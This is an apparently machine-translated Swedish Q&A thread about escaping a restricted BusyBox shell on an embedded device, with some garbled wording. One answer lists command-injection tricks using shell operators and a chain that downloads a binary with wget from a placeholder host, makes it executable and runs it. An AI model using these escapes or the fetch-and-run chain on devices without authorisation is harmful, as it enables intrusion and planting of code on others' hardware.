Jag testar en del inbäddad enhet och det saknas dokumentation. När jag telnet till enheten får jag bara ett begränsat skal.
BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait
Detta är begränsat skal, det är inte klart, hur man går in i hela skalet?
Svar
- Kommandot du behöver är
chsh
(ändra skal) – det här är en del avshadow
ellershadow-utils
-paket. -
Du kan också manuellt redigera
/etc/password
för att ändra skalet från/bin/ash
till något annat:MEN => var mycket försiktig med att det nya skalet existerar eller så låser du själv ut !!!
Du måste vara root
för att göra något av ovanstående.
Svar
BusyBox fokuserar huvudsakligen på storleksoptimering och kommandon kan vara exc ludade / inkluderade under kompileringstiden. Utan att ge ytterligare information verkar det vara en mycket begränsad uppsättning installerade komponenter .
Det bör dock vara tydligt att detta betyder inte att enhetens firmware inte stöder specifika verktyg i sig. Om detta inte är helt klart bör du ta en titt på FAQ – Vad är Busybox -avsnittet. Vissa citat bör göra detta helt klart:
”Kan jag aktivera FTP?” – ”Vi vet inte om firmware från Foomatic-9000 levereras med Busybox binär med aktiverad ftpd-applet. (Om du har tillgång till shell-prompten, försök att köra ”busybox ftpd –help”). Om det gör det kommer du förmodligen att kunna aktivera det. Tyvärr vet vi inte hur Foomatic-9000-firmware hanterar start och stopp av olika tjänster (om de redan har ftpd-service och det bara är inaktiverat), eller hur man skapar och aktiverar en ny tjänst på Foomatic-9000 (om de dont). Försök att googla efter det. ”
” Kan jag aktivera SCP? ” – ”Busybox-1.23.4 har inte scp-applet. Foomatic-9000 kan dock ha scp installerat (säg om de har dropbear installerat), och det kan vara möjligt att aktivera det. Om inte, kan det vara möjligt att bygga och installera ditt eget scp-verktyg. Försök att googla efter det. ”
Du bör nog fokusera mer på den specifika enheten och installerad firmware än att koncentrera dig på det begränsade uppsättning komponenter länkade till Busybox själv.
Kommentarer
- ok, glömde cli-kommandot.
Svar
Tyvärr för dig, nuförtiden försöker de flesta inbäddade enheter (dvs. routrar, iot-enheter osv.) att hindra användarna att komma åt det inre systemet så att de kan ”t hacka eller modifiera det. Detta är en åtgärd för att förhindra arbete med botnät som mirai, även om skyddet inte alltid är särskilt effektivt.
Ett begränsat upptagenboxskal är ett mycket vanligt scenario. Lyckligtvis talar vi i allmänt kräver busybox ett underliggande skal om det ” s någon typ av användargränssnitt (som telnet eller ssh). Detta innebär att det kan vara möjligt att kringgå det kommandot för skal och kör på det underliggande skalet (dvs. / bin / sh är mycket vanligt).
Innan du försöker fly från upptagen lådasandlåda måste du ha följande:
- Tillverkaren kan ha modifierat upptagenboxskalet för att lappa de här teknikerna
- Det underliggande skalet kan vara ett (helt eller delvis) okontrollerat skal. Det betyder att även om du lyckas köra kommandon på det kanske de inte fungerar eller säger att du inte har tillräckliga rättigheter.
- Det underliggande skalet kan också vara ett annat begränsat skal (inte vanligt)
När du är redo kan du prova följande ”tricks”: (Allt förlitar sig på skaloperatörer)
Prova saker som
echo "Hello World" & <your command>
Detta kommer att utföra ditt kommando om:
- Det binära är tillgängligt (så i princip om det är installerat i systemet)
- Skalet har tillgång till det (privilegier)
Det finns andra metoder som:
echo "Hello World" `your command` echo "Hello World" || <your command>
Och andra variationer du kan hitta via internet eller försöka själv.
REDIGERA: Jag redigerar för att lägga till ett exempel på hur du skulle kunna undkomma skalet och få ytterligare körning.
echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary
eller direkt ./din binära
Det är idén. När det gäller chmod sorry men jag kommer inte ihåg de exakta argumenten för att ge exekveringsbehörigheter.
EDIT2: Jag har märkt att ditt skal säger ask, så förmodligen har upptagenbox körts från ett (automatiserat) skript från aska. I det här fallet vill du köra kommandon direkt på / bin / ash-skalet.